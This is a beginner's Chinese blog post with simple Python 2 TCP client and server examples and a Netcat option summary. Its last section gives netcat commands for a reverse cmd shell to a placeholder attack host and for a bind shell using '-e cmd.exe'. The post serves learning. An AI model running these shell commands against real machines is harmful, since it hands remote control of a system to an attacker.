版权声明:人类的最大弱点之一是自命不凡的幻想。 https://blog.csdn.net/claysystem/article/details/79941114
最近心里很乱,安稳找本书看
TCP 客户端源码+个人理解
虽然知道这样注释下面的这些代码不一定是正确的,我之前跟着学校的课程学过java哈哈 管他呢 能理解就行,学到现在基本也快崩溃了 迅速再次培养兴趣和让我坚持下来的成就感是当前的目标 :P
import socket
target_host = "0.0.0.0"
target_port = 9999
#创建一个socket对象 AF_INET指使用标准IPV4或主机名 SOCK_STREAM 指这是一个TCP客户端
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#使用connect方法连接目标IP和端口
client.connect((target_host,target_port))
#使用send方法发送数据给服务器端
client.send("hello hacker")
#使用recv方法来接受服务器端发的信息
response = client.recv(1024)
#输出服务器端发送过来的数据
print response
TCP_服务器端源码
import socket
import threading
bind_ip = "0.0.0.0"
bind_port = 9999
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #创建SOCKET对象
server.bind((bind_ip,bind_port)) #绑定端口 不知道为什么要用2个括号括起来
server.listen(5) #设置最大连接数
print "[*] Listening on %s %d" % (bind_ip,bind_port) #输出监听的端口
def handle_client(client_socket):
request = client_socket.recv (1024)
print "[*] Received: %s " % request
client_socket.send("ACK")
client_socket.close()
while True:
client,addr = server.accept()
print "[*] Accepted connection from %s:%d" %(addr[0],addr[1])
client_handler = threading.Thread(target=handle_client,args=(client,))
client_handler.start()
Netcat的小插曲
Netcat被誉为网络安全的瑞士军刀
nc -l -p port [-options] [hostname] [port]
主要参数:
options: -d 无命令行界面,使用后台模式 -e prog 程序重定向 [危险!!] -g gateway 源路由跳跃点, 不超过8 -G num 源路由指示器: 4, 8, 12, ... -h 获取帮助信息 -i secs 延时设置,端口扫描时使用 -l 监听入站信息 -L 监听知道NetCat被结束(可断开重连) -n 以数字形式表示的IP地址 -o file 使进制记录 -p port 打开本地端口 -r 随机本地和远程的端口 -s addr 本地源地址 -t 以TELNET的形式应答入站请求 -u UDP 模式 -v 显示详细信息 [使用=vv获取更详细的信息] -w secs 连接超时设置 -z I/O 模式 [扫描时使用] 端口号可以是单个的或者存在一个范围: m-n [包含值]。常用命令:
反弹cmd shell:
Target_HOST
扫描二维码关注公众号,回复:
3671702 查看本文章
nc [attack_host_ip] [port] -e [shell]->cmd.exe
ATTACK_HOST
nc -lvp [PORT]
正向连接
Target_HOST:
nc -lvp 4444 -e cmd.exe
Attack_HOST:
nc [Target_ip] [port]